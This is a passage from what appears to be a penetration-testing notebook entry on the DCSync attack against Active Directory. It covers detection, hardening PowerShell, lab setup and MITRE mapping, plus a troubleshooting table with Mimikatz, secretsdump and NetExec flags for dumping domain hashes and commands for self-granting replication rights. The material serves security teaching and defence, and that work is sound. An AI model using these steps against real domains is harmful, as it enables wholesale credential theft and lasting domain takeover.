    591 | **RPC traffic** | Network capture | DRSUAPI `DsGetNCChanges` requests on dynamic RPC ports (49152+) |
    592 | **Replication metadata** | `repadmin /showmeta` | `msDS-ReplAttributeMetaData` shows last replication source β€” won't show DCSync (no actual replication occurs) |
    593 | **ACL modifications** | Event 5136 / nTSecurityDescriptor | If attacker granted themselves DCSync rights, the ACL change is logged |
    594 | **No disk artifacts on DC** | N/A | DCSync leaves zero forensic artifacts on the target DC's filesystem β€” this is purely network-based |
    595 
    596 ***
    597 
    598 > [!important]+ Windows Server Version Differences
    599 > 1. **Server 2016+**: Advanced Audit Policy "Audit Directory Service Access" must be explicitly enabled β€” it's not on by default in all SKUs
    600 > 2. **Server 2019+**: Windows Defender Credential Guard protects LSASS but does **NOT** prevent DCSync β€” DCSync doesn't touch LSASS
    601 > 3. **Server 2022**: No new mitigations against DCSync β€” still relies on ACL auditing and network monitoring
    602 > 4. **Server 2025**: Microsoft introduced **Credential Guard by default** on new installs, but again this does NOT mitigate DCSync; the only effective control remains auditing replication ACLs and monitoring 4662 events
    603 > 5. *DCSync will remain exploitable as long as the DS-Replication protocol exists β€” it's a feature, not a bug; the mitigation is controlling WHO has replication rights*
    604 
    605 ***
    606 
    607 ## πŸ”’ Hardening & Prevention
    608 
    609 ```powershell
    610 # ── 1. Audit who currently has DCSync rights ──────────────────────────────────
    611 Import-Module ActiveDirectory
    612 (Get-Acl "AD:DC=corp,DC=local").Access |
    613   Where-Object {
    614     $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -or
    615     $_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
    616   } | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType |
    617   Format-Table -AutoSize
    618 
    619 # ── 2. Remove DCSync rights from unnecessary accounts ─────────────────────────
    620 # Use ADSI to remove specific ACEs β€” replace SID with the target principal
    621 $acl = Get-Acl "AD:DC=corp,DC=local"
    622 $acl.Access | Where-Object { $_.IdentityReference -eq "CORP\unnecessary_user" } |
    623   ForEach-Object { $acl.RemoveAccessRule($_) }
    624 Set-Acl "AD:DC=corp,DC=local" $acl
    625 
    626 # ── 3. Enable Advanced Audit Policy for Directory Service Access ──────────────
    627 auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
    628 auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
    629 
    630 # ── 4. GPO β€” Enable auditing domain-wide ─────────────────────────────────────
    631 # Computer Configuration β†’ Policies β†’ Windows Settings β†’ Security Settings β†’
    632 # Advanced Audit Policy Configuration β†’ DS Access β†’
    633 #   βœ… Audit Directory Service Access: Success, Failure
    634 #   βœ… Audit Directory Service Changes: Success, Failure
    635 
    636 # ── 5. Monitor ACL changes on the domain object ──────────────────────────────
    637 # Enable SACL on DC=corp,DC=local for "Modify permissions" operations
    638 # This generates Event 4662 when anyone changes the domain DACL
    639 
    640 # ── 6. Restrict privileged group membership ───────────────────────────────────
    641 # Use AdminSDHolder + SDProp to protect DA/EA groups
    642 # Implement Tiered Administration (Tier 0 for DC access only)
    643 
    644 # ── 7. Deploy MDI or equivalent DRSUAPI monitoring ────────────────────────────
    645 # Microsoft Defender for Identity sensors on all DCs
    646 # Or: Zeek/Bro IDS with DRSUAPI protocol analyzer
    647 
    648 # ── 8. Network segmentation β€” restrict RPC from workstations to DCs ───────────
    649 # Windows Firewall on DCs:
    650 New-NetFirewallRule -DisplayName "Block DRSUAPI from non-DCs" `
    651   -Direction Inbound -Protocol TCP -LocalPort 49152-65535 `
    652   -RemoteAddress "10.10.10.0/24" -Action Block
    653 # ⚠️ Be very careful β€” this can break legitimate admin tools; test thoroughly
    654 ```
    655 
    656 ***
    657 
    658 ## 🧩 Troubleshooting
    659 
    660 | Error | Cause | Fix |
    661 |---|---|---|
    662 | `ERROR_DS_DRA_ACCESS_DENIED` / `0x2105` | Account lacks one or both replication rights | Verify both `Get-Changes` + `Get-Changes-All` ACEs are present on the account |
    663 | `RPC_S_ACCESS_DENIED` on bind | Firewall blocking RPC dynamic ports to DC | Ensure TCP 135 + 49152-65535 are open from attacker to DC; or use `--target-ip` with secretsdump |
    664 | Mimikatz `ERROR kuhl_m_lsadump_dcsync` | Running without `privilege::debug` / not elevated | Run as admin and execute `privilege::debug` first; or use `token::elevate` |
    665 | secretsdump returns `0 hashes` | Specified wrong domain or user doesn't exist | Double-check domain FQDN (`corp.local` not `CORP`); verify user's sAMAccountName |
    666 | `KRB_AP_ERR_SKEW` with Kerberos auth | Time difference > 5 minutes between attacker and DC | Sync clock: `ntpdate DC01.corp.local` or `rdate -s DC01.corp.local` |
    667 | NetExec `STATUS_ACCESS_DENIED` | Account not in DA or doesn't have replication rights | Verify group membership or explicitly granted ACEs; try `-k` for Kerberos instead of NTLM |
    668 | DSInternals `Get-ADReplAccount` fails | Module not installed or DC unreachable | `Install-Module DSInternals -Force`; verify DC hostname resolves and RPC ports are open |
    669 | Partial hashes / missing AES keys | Used `-just-dc-ntlm` instead of `-just-dc` | Use `-just-dc` (no `-ntlm` suffix) to get NT hashes + Kerberos keys + cleartext |
    670 
    671 ***
    672 
    673 ## πŸ—ΊοΈ MITRE ATT&CK
    674 
    675 | Tactic | Technique ID | Sub-technique | Procedure | APT Groups |
    676 |---|---|---|---|---|
    677 | **Credential Access** | [T1003](https://attack.mitre.org/techniques/T1003/) | [.006 β€” DCSync](https://attack.mitre.org/techniques/T1003/006/) | Use DRSUAPI GetNCChanges to replicate credential data from DC | [APT29](https://attack.mitre.org/groups/G0016/) (Cozy Bear), [FIN6](https://attack.mitre.org/groups/G0037/), [Wizard Spider](https://attack.mitre.org/groups/G0102/) |
    678 | **Persistence** | [T1098](https://attack.mitre.org/techniques/T1098/) | [.xxx β€” Account Manipulation](https://attack.mitre.org/techniques/T1098/) | Grant DCSync replication rights to a controlled account for persistent access | [APT29](https://attack.mitre.org/groups/G0016/), [FIN7](https://attack.mitre.org/groups/G0046/) |
    679 | **Defense Evasion** | [T1550](https://attack.mitre.org/techniques/T1550/) | [.002 β€” Pass the Hash](https://attack.mitre.org/techniques/T1550/002/) | Use extracted NT hashes for lateral movement without cracking | Widely used by most APT groups |
    680 
    681 > [!tip]+ Real-World APT Usage
    682 > `fas:Lightbulb`
    683 > 1. **APT29 (Cozy Bear / SolarWinds)** β€” Used DCSync extensively during the SolarWinds supply chain compromise to extract KRBTGT hashes and forge Golden Tickets for persistent access across federated environments
    684 > 2. **Wizard Spider (Ryuk/Conti)** β€” Standard post-exploitation step after obtaining DA; DCSync β†’ offline cracking β†’ credential reuse across victim networks
    685 > 3. **FIN6** β€” Used Mimikatz DCSync in POS-targeting campaigns to extract service account credentials for lateral movement to payment processing systems
    686 
    687 ***
    688 
    689 ## πŸ§ͺ Lab Setup Hints
    690 
    691 > [!example]+ Minimal Lab for DCSync Practice
    692 > 1. **DC**: Windows Server 2019/2022 VM β€” promote to DC for `lab.local`; create 5-10 test users with varied passwords
    693 > 2. **Attacker (Linux)**: Kali/Parrot VM β€” install Impacket (`pipx install impacket`), NetExec (`pipx install netexec`), bloodyAD
    694 > 3. **Attacker (Windows)**: Windows 10/11 VM domain-joined β€” download Mimikatz, SharpKatz, PowerView, DSInternals
    695 > 4. **Network**: All VMs on same host-only / NAT network; ensure RPC (135 + 49152-65535) and LDAP (389) are accessible
    696 > 5. **Setup DCSync rights test**: Create a low-priv user `testdcsync`, grant it `WriteDACL` on the domain object via `dsacls`, then practice self-granting DCSync rights
    697 > 6. **Enable auditing**: Configure Advanced Audit Policy on the DC to generate 4662 events so you can see what detection looks like
    698 > 7. *Estimated setup time: 45-60 minutes from scratch; 15 minutes with pre-built snapshots*
    699 
    700 > [!tip]+ Quick Lab Commands
    701 > `fas:Lightbulb`
    702 > 1. Create test user: `New-ADUser -Name "svc_backup" -SamAccountName svc_backup -AccountPassword (ConvertTo-SecureString 'Password1' -AsPlainText -Force) -Enabled $true`
    703 > 2. Grant WriteDACL for testing: `Add-DomainObjectAcl -TargetIdentity "DC=lab,DC=local" -PrincipalIdentity testdcsync -Rights WriteDacl`
    704 > 3. Enable 4662 auditing: `auditpol /set /subcategory:"Directory Service Access" /success:enable`
    705 > 4. Verify: Run DCSync β†’ check Event Viewer β†’ Security β†’ filter for Event ID 4662
    706 
    707 ***
    708 
    709 ## πŸ”— Attack Chain Context
    710 
    711 ```
    712 [DCSync] ──→ Complete Credential Extraction
    713          β”‚
    714          β”œβ”€β”€β†’ 🎫 Extract KRBTGT hash β†’ Golden Ticket (Attack #11) β†’ Permanent DA
    715          β”œβ”€β”€β†’ πŸ”‘ Extract service account hashes β†’ Silver Tickets (Attack #12)
    716          β”œβ”€β”€β†’ πŸ”“ Extract all user hashes β†’ offline cracking β†’ password reuse
    717          β”œβ”€β”€β†’ πŸ’» Pass-the-Hash with any extracted hash (Attack #4)
    718          β”œβ”€β”€β†’ πŸ“‹ ACL persistence β€” grant DCSync rights to low-priv user (Attack #65)
    719          β”œβ”€β”€β†’ πŸ”— Prereqs: GenericAll on Domain Object β†’ self-grant DCSync ACE
    720          β”œβ”€β”€β†’ πŸ†š Compare: NTDS.dit extraction (Attack #39) β€” requires DC access
    721          β”œβ”€β”€β†’ πŸ”„ Related: DCShadow (Attack #38) β€” write instead of read
    722          └──→ πŸ’€ Defeated by: audit replication ACEs, monitor 4662, MDI, network detection
    723 ```
    724 
    725 **DCSync is the standard method for credential extraction** in every AD pentest engagement. It has completely replaced NTDS.dit extraction for most scenarios because it requires no code execution on the DC, leaves no disk artifacts, and can target individual accounts selectively. Combined with a Golden Ticket forged from the extracted KRBTGT hash, DCSync provides the attacker with permanent, undetectable domain access.
    726 
    727 ***
    728 
    729 > βœ… **Attack #37 β€” DCSync complete.**